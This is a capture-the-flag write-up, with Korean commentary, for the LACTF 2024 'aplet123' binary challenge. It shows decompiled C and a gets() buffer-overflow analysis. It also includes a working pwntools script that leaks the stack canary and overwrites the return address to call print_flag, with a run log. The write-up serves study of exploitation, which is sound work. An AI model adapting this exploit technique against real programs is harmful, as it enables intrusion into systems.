checksec
[*] '/home/seo/study/LACTF2024/aplet123/aplet123'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Decompiled src
haystack버퍼(크기 72바이트)에gets로 입력받음- 입력 문자열에
"i'm"이 포함되어 있으면,"i'm"바로 뒤의 문자열을 추출해hi <이름>, i'm aplet123형식으로 출력함. "bye"를 입력하면 메인 루프 빠져나감.
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v5; // eax
char *v6; // [rsp+8h] [rbp-58h]
char haystack[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v8; // [rsp+58h] [rbp-8h]
v8 = __readfsqword(0x28u);
setbuf(_bss_start, 0);
v3 = time(0);
srand(v3);
puts("hello");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
gets(haystack);
v6 = strstr(haystack, "i'm");
if ( !v6 )
break;
printf("hi %s, i'm aplet123\n", v6 + 4);
}
if ( strcmp(haystack, "please give me the flag") )
break;
puts("i'll consider it");
sleep(5u);
puts("no");
}
if ( !strcmp(haystack, "bye") )
break;
v5 = rand();
puts(responses[v5 % 0x21uLL]);
}
puts("bye");
return 0;
}
Analysis
gets 함수는 입력길이 제한없어 BOF 취약점 발생 가능.
연속된 A 69바이트 + “I’m” 페이로드 구성시 카나리 유출 가능.
그 후, A 72바이트 + ㅋ카나리 8바이트 + print_flag 주소 넣고, 루프문 탈출시 flag 획득 가능.
unsigned __int64 print_flag()
{
FILE *stream; // [rsp+8h] [rbp-118h]
char s[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v3; // [rsp+118h] [rbp-8h]
v3 = __readfsqword(0x28u);
stream = fopen("flag.txt", "r");
fgets(s, 256, stream);
puts(s);
return v3 - __readfsqword(0x28u);
}
solve.py
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
p = process("./aplet123")
e = ELF('./aplet123', checksec=True)
payload = b"A"*(72-3) + b"i'm"
p.sendlineafter(b"hello\n", payload)
p.recvuntil(b"hi ")
canary = p.recv(7).rjust(0x8, b"\x00")
canary = u64(canary)
success(f"canary: {hex(canary)}")
payload = b"A"*72
payload += p64(canary)
payload += b"B"*8
payload += p64(e.symbols["print_flag"])
p.sendlineafter(b"aplet123\n", payload)
p.sendline(b"bye")
p.interactive()
Result
seo@seo:~/study/LACTF2024/aplet123$ python3 solve.py
[+] Starting local process './aplet123': pid 5528
[*] '/home/seo/study/LACTF2024/aplet123/aplet123'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[+] canary: 0x38089fcbde44af00
[*] Switching to interactive mode
unlucky
bye
flag{fake_flag}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Process './aplet123' stopped with exit code -11 (SIGSEGV) (pid 5528)
seo@seo:~/study/LACTF2024/aplet123$ cat flag.txt
flag{fake_flag}